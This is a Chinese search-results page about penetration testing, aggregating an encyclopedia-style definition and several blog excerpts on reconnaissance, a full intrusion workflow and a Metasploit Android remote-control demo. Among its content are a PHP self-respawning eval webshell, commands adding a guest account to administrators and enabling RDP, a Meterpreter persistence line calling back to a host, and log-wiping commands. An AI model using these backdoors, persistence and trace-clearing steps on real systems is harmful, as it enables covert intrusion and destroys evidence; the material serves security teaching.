渗透测试 订阅
渗透测试,是为了证明网络防御按照预期计划正常运行而提供的一种机制。不妨假设,你的公司定期更新安全策略和程序,时时给系统打补丁,并采用了漏洞扫描器等工具,以确保所有补丁都已打上。如果你早已做到了这些,为什么还要请外方进行审查或渗透测试呢?因为,渗透测试能够独立地检查你的网络策略,换句话说,就是给你的系统安了一双眼睛。而且,进行这类测试的,都是寻找网络系统安全漏洞的专业人士。 展开全文
渗透测试,是为了证明网络防御按照预期计划正常运行而提供的一种机制。不妨假设,你的公司定期更新安全策略和程序,时时给系统打补丁,并采用了漏洞扫描器等工具,以确保所有补丁都已打上。如果你早已做到了这些,为什么还要请外方进行审查或渗透测试呢?因为,渗透测试能够独立地检查你的网络策略,换句话说,就是给你的系统安了一双眼睛。而且,进行这类测试的,都是寻找网络系统安全漏洞的专业人士。
信息
特    点
一个渐进的并且逐步深入的过程
作    用
是通过模拟恶意黑客的攻击方法
方    法
通过使用两套扫描器进行安全评估
中文名
渗透测试
功    能
是一种机制
外文名
penetration test
渗透测试渗透测试
渗透测试 (penetration test)并没有一个标准的定义,国外一些安全组织达成共识的通用说法是:渗透测试是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法。这个过程包括对系统的任何弱点、技术缺陷或漏洞的主动分析,这个分析是从一个攻击者可能存在的位置来进行的,并且从这个位置有条件主动利用安全漏洞。换句话来说,渗透测试是指渗透人员在不同的位置(比如从内网、从外网等位置)利用各种手段对某个特定网络进行测试,以期发现和挖掘系统中存在的漏洞,然后输出渗透测试报告,并提交给网络所有者。网络所有者根据渗透人员提供的渗透测试报告,可以清晰知晓系统中存在的安全隐患和问题。我们认为渗透测试还具有的两个显著特点是:渗透测试是一个渐进的并且逐步深入的过程。渗透测试是选择不影响业务系统正常运行的攻击方法进行的测试。作为网络安全防范的一种新技术,对于网络安全组织具有实际应用价值。但要找到一家合适的公司实施渗透测试并不容易。
收起全文
精华内容
参与话题
问答
  • Kali Linux 网络安全渗透测试

    千人学习 2019-06-02 10:28:53
    为什么学网络安全? 1.... ... 每年各安全厂商收入高达400亿左右,随着5G的发展,万物互联时代,市场将进一步... 注意:视频教学内容仅用于网络安全渗透测试。其他行为,自己承担相应的责任,与作者无关。  
  • 完整的渗透测试流程

    万次阅读 2020-08-26 16:44:23
    第一步:web端信息收集 确定目标真实ip ...若nslookup查询到的ip有两个或者以上,则代表目标主机有cdn。 绕过cdn的常见方式: 1.查看域名绑定ip的历史记录。 2.查询子域名的ip并分析。 3.利用网络空间引擎搜索,常见的...

    第一步:web端信息收集

    确定目标真实ip

    倘若没有cdn,直接nslookup -type=a www.example.com即可得到真实ip。若nslookup查询到的ip有两个或者以上,则代表目标主机有cdn。
    绕过cdn的常见方式:
    1.查看域名绑定ip的历史记录。
    2.查询子域名的ip并分析。
    3.利用网络空间引擎搜索,常见的有以前的钟馗之眼,shodan,fofa搜索。以fofa为例,只需输入:title:“网站的title关键字”或者body:“网站的body特征”就可以找出fofa收录的有这些关键字的ip域名,很多时候能获取网站的真实ip。
    4.利用SSL证书寻找真实原始IP。
    5.利用邮件。
    具体实现请戳下面👇的连接。
    绕过cdn得到真实ip的方式
    cdn节点测速器

    注册信息查询

    whois得到域名注册信息,目的是生成关联的社工密码。

    子域名查询

    本地脚本

    fierce -dns example.com -wordlist list.txt 子域名破解
    layer子域名挖掘机
    sublister
    oneforall.py --target example.com

    在线工具

    https://phpinfo.me/domain/
    https://dnsdb.io/zh-cn/search?q=cuit.edu.cn
    子域名查询:https://searchdns.netcraft.com/

    googlehacking

    子域名查询 site:cuit.edu.cn
    特定文件查询 site:cuit.edu.cn filetype: word/xls/pdf等
    搜索url中存在login的网页:site:cuit.edu.cn inurl:login

    ip地址反查询

    https://dns.aizhan.com/210.41.225.3/

    敏感目录查询搜索网站目录

    御剑
    dirsearch.py
    msf的dir_scanner模块
    dirb http://123.123.123.123

    站点防火墙识别

    nmap www.baidu.com --script=http-waf-detect.nse -Pn
    wafw00f www.baidu.com

    第二步:主机端信息收集

    确定web端相关信息后,需要对目标主机进行信息收集,主要收集操作系统版本、端口、服务信息。

    七层网络模型:物理 数据链路 网络 传输 会话层 表示层 应用层

    1.主机发现 :发现网络中存活的主机

    nmap使用时尽量加-Pn,这样子在主机没有回包的时候,也能继续进行端口扫描而不是直接认为主机不存活(当有防火墙时比较好用)。

    二层(局域网):arp扫描 Nmap -PR 111.111.111.111

    三层(可路由,易被过滤):ping扫描 基于icmp协议,icmp跟ip两个部分合在一起成为一个icmp的ping包 ,也可以用
    nmap -sn 111.111.111.111/24 # ping 扫描
    fping -g 111.111.111.111/24 -c 3

    四层(不容易被过滤,速度慢,主机发现的时候也会带端口):
    tcp:
    直接发送ack包,对方若返回rst包则对方主机存在。
    直接发送syn包,对方返回ack+syn,对方主机存在,此时自己再发送一个rst包关闭连接,对方主机上不会有记录。
    nmap -PS -sn 192.168.199.244 -Pn
    nmap -PS -sn -iL 1.txt -Pn
    udp:
    不可信扫描,凭借icmp port——unreachable包,响应代表端口关闭
    nmap -PS/PA/PU/PY 1.1.1.1 -Pn

    2.端口扫描:识别开放端口

    tcp:syn/ack/全连接扫描,原理同上
    udp:不可信扫描,凭借icmp port——unreachable包,响应代表端口关闭
    nmap -sT/S/A/W/N/F/X 192.168.199.244

    3.服务识别:端口上分别运行着什么样的服务

    nmap -sV ip

    4.操作系统识别

    第一种通过TTL值来确定,这个不怎么准确,仅供参考:

    1、WINDOWS NT/2000 TTL:128
    2、WINDOWS 95/98 TTL:32
    3、UNIX TTL:255
    4、LINUX TTL:64
    5、WIN7 TTL:64

    第二种方法:可以用nmap -O 来查询

    第三步:批量漏洞扫描

    使用各种自动化扫描器进行批量漏洞扫描
    这里推荐几个工具:

    goby 下载地址
    xray 下载地址

    第四步:漏洞利用

    利用漏洞获取系统权限

    第五步:权限维持

    稳定住当前权限方便后续信息收集。

    第六步:后渗透信息收集

    获取足够信息以便后面进行横向移动。

    第七步:横向纵向移动

    横向移动扩大战果,进行进一步信息收集。

    第八步:痕迹清理

    结束渗透,清理日志文件等。

    展开全文
  • 渗透测试

    千次阅读 2018-09-25 23:49:44
    渗透测试流程,专业术语具体看这里

    渗透测试流程,专业术语具体看这里

    渗透测试之信息收集
    谈谈渗透测试下的信息收集 结合起来一起看

    当我们拿到一个目标进行渗透测试的时候,我们关注目标主机的whois信息,子域名,目标IP,旁站C段查询,邮箱搜集,CMS类型,敏感目录,端口信息,服务器与中间件信息。针对上边的信息,网上有很多工具,但是,我们可以自己写一个工具得到所有的信息,方便渗透测试。

    • CDN在百度百科里的解释是:内容分发网络。基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输的更快、更稳定。 但在渗透测试里,人家说:现在大部分网站都加了CDN,CDN的虚假IP干扰了我们的渗透测试,所以我们要绕过CDN查找到目标的真实IP(感觉意思好像是CDN会弄出虚假ip,使得我们很难找到真实ip)

    • php探针(这个没有实操使用过)
      PHP探针是一个查看服务器信息的工具
      上传文件到网站根目录
      比如

      <?php
       phpinfo(); 
       ?>
      
    • 术语:社会工程学(简称社工)

      社会工程学需要搜集大量的信息针对对方的实际情况,进行心理战术的一种手法。
      社会工程学是一种黑客攻击方法,利用欺骗等手段骗取对方信任,获取机密情报。社会工程学就是使人们顺从你的意愿、满足你的欲望的一门艺术与学问。

    • WAF Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。用以解决诸如防火墙一类传统设备束手无策的Web应用安全问题。
      利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

    护卫神成立于2005年,是国内最大的服务器软件供应商
    安全狗,互联网安全品牌,云安全服务与解决方案提供商 [

    nmap
    https://blog.csdn.net/wufenghsk/article/details/69098677
    https://www.cnblogs.com/nmap/p/6232207.html

    查看cookie
    https://blog.csdn.net/ZWE7616175/article/details/80274850
    法一:在url里输入javascript:alert(document.cookie)
    法二:点击url框里绿色的锁,安全连接里查看更多,就可以看到更多cookie啦

    展开全文
  • web渗透测试

    千人学习 2018-05-08 18:13:51
    Web渗透测试教程,该课程侧重于讲解Web安全,并通过实验详细分析常见的十种Web漏洞、漏洞利用过程等。
  • 最全渗透测试工具讲解

    千人学习 2018-08-31 08:44:31
    渗透测试工具详解视频教程,该课程分为三个部分,1、针对web扫描工具介绍,2、针对抓包工具介绍,3、针对信息探测介绍。(没章节都会将该章节介绍的工具共享给大家)这三部分基本涵盖了渗透测试中百分之80常见工具的...
  • 一次完整的渗透测试流程

    万次阅读 多人点赞 2018-12-01 19:13:56
    渗透测试 信息收集 漏洞探测 漏洞利用 内网转发 内网渗透 痕迹清除 撰写渗透测试保告 渗透测试 渗透测试就是利用我们所掌握的渗透知识,对网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后...

    目录

    渗透测试

    信息收集

    漏洞探测

    漏洞利用

    内网转发

    内网渗透

    痕迹清除

    撰写渗透测试保告


    渗透测试

    渗透测试就是利用我们所掌握的渗透知识,对网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后撰写一篇测试报告,提供给我们的客户。客户根据我们撰写的测试报告,对网站进行漏洞修补,以防止黑客的入侵!

    渗透测试的前提是我们得经过用户的授权,才可以对网站进行渗透。如果我们没有经过客户的授权而对一个网站进行渗透测试的话,这是违法的。去年的6.1日我国颁布了《网络安全法》,对网络犯罪有了法律约束,不懂的移步——> 网络安全法

    渗透测试分为 白盒测试黑盒测试

    • 白盒测试就是在知道目标网站源码和其他一些信息的情况下对其进行渗透,有点类似于代码分析
    • 黑盒测试就是只告诉我们这个网站的url,其他什么都不告诉,然后让你去渗透,模拟黑客对网站的渗透

    我们现在就模拟黑客对一个网站进行渗透测试,这属于黑盒测试,我们只知道该网站的URL,其他什么的信息都不知道。

    接下来,我就给大家分享下黑盒渗透测试的流程和思路!

    当我们确定好了一个目标进行渗透之后,第一步该做的是什么呢?

    信息收集

    第一步做的就是信息收集,正所谓知己知彼百战百胜,我们根据网站URL可以查出一系列关于该网站的信息。通过URL我们可以查到该网站的IP、该网站操作系统、脚本语言、在该服务器上是否还有其他网站等等一些列的信息。更多的关于信息收集,我在另一篇文章中很详细的介绍了信息收集需要收集哪些信息,以及信息收集过程中需要用到的工具,传送门——> 渗透测试之信息收集

    漏洞探测

    当我们收集到了足够多的信息之后,我们就要开始对网站进行漏洞探测了。探测网站是否存在一些常见的Web漏洞,比如:

    这些是网站经常发现的一些漏洞,还有一些网站漏洞,这里我就不一一列举出来了。

    网站漏洞扫描工具也有很多,比如:

    网站漏洞扫描工具我就列举这几种,还有很多,最常用的是这几个!

    漏洞利用

    当我们探测到了该网站存在漏洞之后,我们就要对该漏洞进行利用了。不同的漏洞有不同的利用工具,很多时候,通过一个漏洞我们很难拿到网站的webshell,我们往往需要结合几个漏洞来拿webshell。常用的漏洞利用工具如下:

    SQL注入 , 传送门——> Sqlmap的使用

    XSS跨站脚本,传送门——> Beef-XSS的使用

    抓包改包工具,——> Burpsuite工具的使用  、  Fidder抓包软件的使用

    文件上传漏洞,上传漏洞的话,我们一般会上传一句话木马上去,进而再获得webshell,传送门——> Webshell和一句话木马

    但是,获得了webshell后,一般权限很低,所以我们需要提权,可以选择反弹一个MSF类型的shell提权:Metasploit Framework(MSF)的使用  、 Msfvenonm生成一个后门木马,也可以反弹一个CobaltStrike类型的shell:渗透测试神器Cobalt Strike的使用, 也可以MSF和CobaltStrike联动:MSF和CobaltStrike联动 也可以使用其他提权:Windows提权 、 Linux提权

    内网转发

    当我们获取到了网站的Webshell之后,如果我们想获取该主机的有关信息,我们可以将该主机的webshell换成MSF的shell。直接生成一个木马,然后在菜刀中执行该木马,我们就能接收到一个MSF类型的shell了。

    如果我们还想进一步的探测内网主机的信息的话,我们就需要进行内网转发了。我们是不能直接和内网的主机通信的,所以我们就需要借助获取到的webshell网站的服务器和内网主机进行通信。

    内网横向渗透

    当我们在获取了外网服务器的权限,进入该系统后,我们要想尽办法从该服务器上查找到我们想要的信息。

    对于windows主机,我们应该多去翻翻目录,或许能有很多意想不到的结果。很多人习惯把账号密码等容易忘的东西存放在备忘录中,或者是桌面上。我们还可以查找数据库的连接文件,查看数据库的连接账号密码等敏感信息。当我们获得了windows主机的账号密码,或者是自己创建了新用户后,我们为了不被网站管理员发现和不破坏服务器。我们尽量不要使用远程桌面。因为使用远程桌面动静比较大,如果此时服务器管理员也在登录,而你此时通过远程桌面登录的话,会将管理员挤掉,而你也将很快的被管理员踢掉。对于实在是要远程桌面登录的情况的话,我们尽量不要新建一个用户进行登录。我们可以激活  guest 用户,然后将其加入 administrators 组里面,用 guest 用户身份登录。在RDP远程登录后,我们可以查看其他用户桌面上和其他目录有哪些软件,我们要找的目标有以下。

    • FTP相关的软件
    • 数据库相关的软件
    • 打开浏览器,查看历史记录,查看某些网站是否保存有用户密码。利用工具查看浏览器保存的密码

    从该主机上找到的账号密码,我们可以做一个字典,在对内网其他机器进行爆破的时候,很有可能是同密码。

    net user  guest  /active:yes                      #激活guest用户
    net localgroup  administrators  guest  /add       #将guest用户添加到
    net user guest    密码                            #更改guest用户密码
    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f                          #开启3389端口

    对于Linux主机,我们可以查看开放的端口号,开放的服务,与其建立连接的内网主机。查看目录,查找网站数据库连接密码。总之,就是尽可能的多查找一些账号密码,这对于内网的账号爆破非常有用。

    在搭建了隧道可以通内网后,我们首先就需要对内网进行资产发现了。但是对于内网存活网段的判断是一个大问题。内网很有可能同时存在 10.0.0.0/8、172.16.0.0/16、192.168.0.0/24 网段。这就需要我们用扫描器对其进行探测了。通过代理进行内网扫描不建议使用nmap。如果是在本地主机通过代理扫描,可以图形化界面的话,可以使用 RouterScan 、御剑高速TCP全端口扫描器、IIS_Scanner。但是注意线程调低一点,不然代理很容易崩了。如果使用命令行扫描器的话,可以使用S扫描器。在扫描了内网资产和端口开放情况后,对于445端口,就可以打一波MS17_010。但是注意通过代理打445,和之前的是不一样的。传送门——> 内网渗透之MS17-010 。对于3389端口,可以打一波CVE-2019-0708,传送门——> CVE-2019-0708 远程桌面漏洞复现 。对于1433/3306/6379等端口,可以尝试爆破,利用之前收集到的账号密码成功率更高哦。

    关于内网渗透(域环境和非域环境):内网渗透

    内网的横向渗透MSF比较好用:

    内网渗透的ICMP和DNS隧道搭建:

    相关文章:内网渗透测试之域渗透详解!

                      内网渗透中mimikatz的使用

    权限维持

    在拿到目标主机的权限后,很有可能当时我们并不能获取到想要的东西,需要进行长期的潜伏,特别是在内网渗透中,需要进行长期的信息收集。这时,权限维持就很重要了。我们需要维持住获得的现有权限。

    Web后门

    1:隐藏后门文件(将文件设置为隐藏)

    2:不死马,该脚本每5秒向服务器创建test.php,并写入一句话免杀木马。结合attrib命令隐藏文件更好地建立后门。

    <?php
        set_time_limit(0);//程序执行时间
        ignore_user_abort(1);//关掉终端后脚本仍然运行
        unlink(__FILE__);//文件完整名
        while(1){
            file_put_contents('test.php','<?php $a=array($_REQUEST["x"]=>"3");
            $b=array_keys($a)[0];
            eval($b);?>');
            sleep(5);
        }
    ?>

    3: 404页面隐藏后门,或者在其他自带文件中插入后门代码

    注:以上几种后门方法均能被D盾等工具检测到

    Windows系统

    1:建立隐藏用户,在用户名后加 $ 

    2:在开机启动目录下放置木马文件,只要目标机器重启,将回连我们的远控

    3:MSF里的 persistence 模块,执行命令可以使目标机器每隔一定时间自动回连远控。但是容易被发现

    #反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀
    run persistence -X -i 5 -p 8888 -r 192.168.10.27  
     
    #然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启动

    4:在域环境下,想办法获得 krbtgt 用户的哈希,该用户的哈希可以进行票据传递攻击。而且一般该用户的密码不经常改变。

    5:shift后门

    6:远程桌面会话劫持 

    Linux系统

    1:SSH后门

    2:crontab定时任务

    3:SSH公钥

    4:创建SUID=0的用户

    痕迹清除

    当我们达到了目的之后,有时候只是为了黑入网站挂黑页,炫耀一下;或者在网站留下一个后门,作为肉鸡,没事的时候上去溜达溜达;亦或者挂入挖矿木马;但是大家千万不要干这些事,这些都是违法的!

    我这里只是教大家在渗透进去之后如何清除我们留下的一部分痕迹,并不能完全清除,完全清除入侵痕迹是不可能的!主要是增加管理员发现入侵者的时间成本和人力成本。只要管理员想查,无论你怎么清除,还是能查到的。

    最主要还是要以隐藏自身身份为主,最好的手段是在渗透前挂上代理,然后在渗透后痕迹清除。

    Windows系统

    1:如果是windows系统,可用MSF中的 clearev 命令清除痕迹

    2:如果3389远程登录过,需要清除mstsc痕迹

    3:执行命令清除日志:

    del %WINDR%\* .log /a/s/q/f

    4:如果是web应用,找到web日志文件,删除 

    相关文章:WINDOWS之入侵痕迹清理总结

    Linux系统

    1:如果是Linux系统,在获取权限后,执行以下命令,不会记录输入过的命令

    export HISTFILE=/dev/null export HISTSIZE=0

    2:删除 /var/log 目录下的日志文件

    3:如果是web应用,找到web日志文件,删除 

    撰写渗透测试保告

    在完成了渗透测试之后,我们就需要对这次渗透测试撰写渗透测试报告了。明确的写出哪里存在漏洞,以及漏洞修补的方法。以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险,防止被黑客攻击!

    我们做的这一切的一切都是为了营造一个更安全更可信任的网络环境,大家切记不要利用本篇文章进行违法犯罪行为!

    未完待续。。。。。。

    相关文章:红蓝对抗经验小结

    展开全文
  • 渗透测试-Kali入侵局域网手机

    万次阅读 多人点赞 2020-02-23 21:41:33
    本文目的:演示如何借助Kali Linux系统的Metasploit渗透测试框架生成远程控制木马,然后感染局域网内的Android手机,从而实现对受害者手机数据的读取、音频的窃听、位置的获取、软件安装或卸载等。 环境说明 ...

    前言

    严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。

    本文目的:演示如何借助Kali Linux系统的Metasploit渗透测试框架生成远程控制木马,然后感染局域网内的Android手机,从而实现对受害者手机数据的读取、音频的窃听、位置的获取、软件安装或卸载等。

    环境说明

    机器 IP地址
    Win10 物理主机 192.168.0.105
    Kali 虚拟机 192.168.0.199
    honor 8 测试手机 192.168.0.107

    Win10主机和手机应连接同一个WIFI,Kali虚拟机安装在VMware中,使用桥接模式使得可配置其IP地址跟物理主机、手机在同一个网段之中,形成一个小局域网。

    关于如何配置虚拟机的IP和网络,请访问另一篇博文:渗透测试-Kali虚拟机

    攻击准备

    木马生成

    1、先说点废话,来确认下 Kali 虚拟机配置好的IP地址:
    在这里插入图片描述
    2、在 Kali 终端输入以下命令在 Kali 虚拟机/root路径下生成木马文件520.apk
    在这里插入图片描述

    传输木马

    远控木马文件已经生成了,但如何从 Kali 虚拟机传输到 Win10 物理主机并进一步传输到受害者手机呢?

    1、使用Xshell远程连接工具,新建如下SFTP协议的文件传输会话:
    在这里插入图片描述

    2、同时配置好与远程 Kali 主机对接的本地文件夹,用于 Win 10 主机传输文件的默认存放路径:
    在这里插入图片描述
    3、输入 kali 主机的账户和密码进行登陆并成功连接后,使用命令get 520.apk从Kali 主机下载木马文件到本地文件夹D:\Code下:
    在这里插入图片描述4、在 Win 10 主机本地文件夹确认下文件是否下载成功:
    在这里插入图片描述

    安装木马

    1、再废话一下,查看并确认华为测试手机的IP地址与 Kali 虚拟机、Win 10主机在同一网段内:
    在这里插入图片描述

    2、在 Kali 虚拟机里查看能否连通手机(这是后续攻击成功的基础):
    在这里插入图片描述
    3、在 Win 10 主机打开QQ程序,向华为手机发送木马文件并安装(这个就不用演示了吧…),安装后如下:
    在这里插入图片描述

    开始攻击

    MSF监听

    Kali 终端依次执行以下命令:

    msfconsole                //启动msfconsole
    use exploit/multi/handler //加载模块
    set payload android/meterpreter/reverse_tcp //选择Payload
    set lhost 192.168.0.199  //这里的地址设置成我们刚才生成木马的IP地址
    set lport 9999           //这里的端口设置成刚才我们生成木马所监听的端口
    exploit                  //开始执行漏洞,开始监听,等待手机上线
    

    1、在 Kali 终端输入msfconsole命令启动Metasploit框架:
    在这里插入图片描述
    2、依次以下执行命令加载攻击模块、选择Payload、设置本地监听主机的IP和端口:
    在这里插入图片描述
    3、执行命令exploit,开始执行攻击程序,进入监听状态,等待目标手机上线(用户点击木马程序):
    在这里插入图片描述
    4、此时手动点击刚才手机中安装的MainActivity程序图标(没有界面),则可成功建立攻击会话:
    在这里插入图片描述
    5、此时输入help命令可查看具体的攻击命令和描述,后面将选择几个进行演示:
    在这里插入图片描述

    命令行执行

    成功建立攻击会话后可以对受害者手机进行像Linux主机shell一样对手机进行命令执行操作:
    在这里插入图片描述

    通讯录下载

    1、在攻击会话中执行dump_contacts命令导出受害者手机通讯录里的信息到 Kali 虚拟机/root路径下:
    在这里插入图片描述
    2、在虚拟机中查看一下导出来的通讯录文件:
    在这里插入图片描述

    3、同理可导出受害者手机中的短信记录、通话记录……但是此手机没有插手机卡(穷……),故此处不做演示了。

    摄像机拍摄

    在攻击会话中执行命令webcam_snap ,可开启受害者的摄像头自动拍摄一张照片并保存到Kali 虚拟机中:
    在这里插入图片描述同理还可以非法调用受害者手机的录音功能、屏幕截图功能……

    至此,本次Kali系统生成远控木马后攻击局域网内Android手机的演示结束,其他攻击操作读者有兴趣的话可自行借助help命令给出的攻击命令描述进行体验。

    温馨提醒:此次演示中的木马程序没有图形化界面的伪装,真实的环境中攻击者会将其伪装得跟正常软件一样,这提醒了我们不要轻易安装安全性未知的软件,同时不要轻易连接公共WIFI,让自己的设备暴露在攻击者搭建的局域网下……

    展开全文
  • web渗透测试流程: 为什么需要渗透测试工具? 1.节省时间和精力 2.更准确的结果 3.先进的分析方法 4.收集更多信息 5.自动化 常见的渗透测试工具? Wireshark sqlmap NMAP(扫描工具) metasploit...
  • 渗透测试的学习指南

    2019-07-24 00:51:29
    文章目录一,网络渗透测试概况1.1定义1.2方法1.3渗透测试的目标1.4渗透测试的流程1.5漏洞发掘 二,常用的工具系统和名词解释2.1 名词解释和一些经典工具2.2 Kali linux2.3 metasploit 一,网络渗透测试概况 1.1定义 ...
  • Kali Linux渗透测试

    千次阅读 2019-07-07 16:19:05
    Kali Linux渗透测试 Kali Linux VirtualBox 虚拟机安装 Kali Linux 持久加密USB安装
  • 渗透测试之信息收集

    万次阅读 多人点赞 2018-11-16 11:11:41
    目录 信息收集 域名信息的收集 公司敏感信息网上搜集 网站指纹识别 整站分析 服务器类型(Linux/Windows) 网站容器(Apache/Nginx/Tomcat/IIS) 脚本类型(php/jsp/asp/aspx) 数据库类型(Mysql/Oracle...旁站和...
  • 企业渗透测试和持续监控在线课程是白帽艺术系列视频的一部分,通过内部/外部侦察、社会工程、网络和漏洞扫描,逐步示范了对企业网络进行安全评估(渗透测试)的现实场景。 您还将学习如何执行web应用程序测试、...
  • Kali Linux渗透测试实战

    热门讨论 2014-03-10 16:50:48
    Kali Linux渗透测试实战 如果您之前使用过或者了解BackTrack系列Linux的话,那么我只需要简单的说,Kali是BackTrack的升级换代产品, 从Kali开始,BackTrack将成为历史。如果您没接触过BackTrack也没关系,我们从头...
  • 渗透测试学习资料

    2018-12-11 19:30:20
    Python黑帽子 黑客与渗透测试编程之道 WEB入侵的全过程 Web入侵法总汇 web渗透测试常规套路 windosw下MySQL root用户密码重置 安全漏洞公共资源库 高度安全环境下的高级渗透测试 黑客网络入侵大型网站的完整思路 ...
  • 从环境准备和测试流程开始,演示了最基本的安装和配置过程,介绍了渗透测试的分类(白盒测试和黑盒测试),揭示了开放式安全测试的方法,并提出了一套针对backtrack平台的渗透测试流程。《BackTrack 4:利用渗透测试...
  • 课程以Kali系统中的常见渗透测试工具及分类为基础,讲解超过50+款渗透测试工具的介绍,基本涵盖了渗透测试中百分之80常见工具的使用。让小白测试人员在面对一个web系统和内网系统时有一个基本的思路,方便后续深入...
  • 内网渗透测试

    千次阅读 多人点赞 2018-11-27 21:04:39
    什么是内网? 内网是一个只有组织工作人员才能访问的专用网络 组织内部IT系统提供的... 仅面向内网系统渗透测试 模拟内部员工进行渗透测试 内网渗透基本流程: 信息收集 获取权限 横向移动 权限维持 ...
  • 课程标题:Kali Linux渗透测试基础入门到进阶实战全程课 一、课程声明        本课程所有分享仅做学习交流,切勿用于任何不法用途,请每位学员自觉遵守网络安全法等法律法规! 二、课程...
  • 基于Android设备的Kali Linux渗透测试教程第1章渗透测试 渗透测试(Penetration Testing)是一种通过模拟攻击者所采用的技术与方法,攻击目标系统的安全控制措施,并取得访问控制系统的安全测试方式。如果要进行...

空空如也

1 2 3 4 5 ... 20
收藏数 16,283
精华内容 6,513
关键字:

渗透测试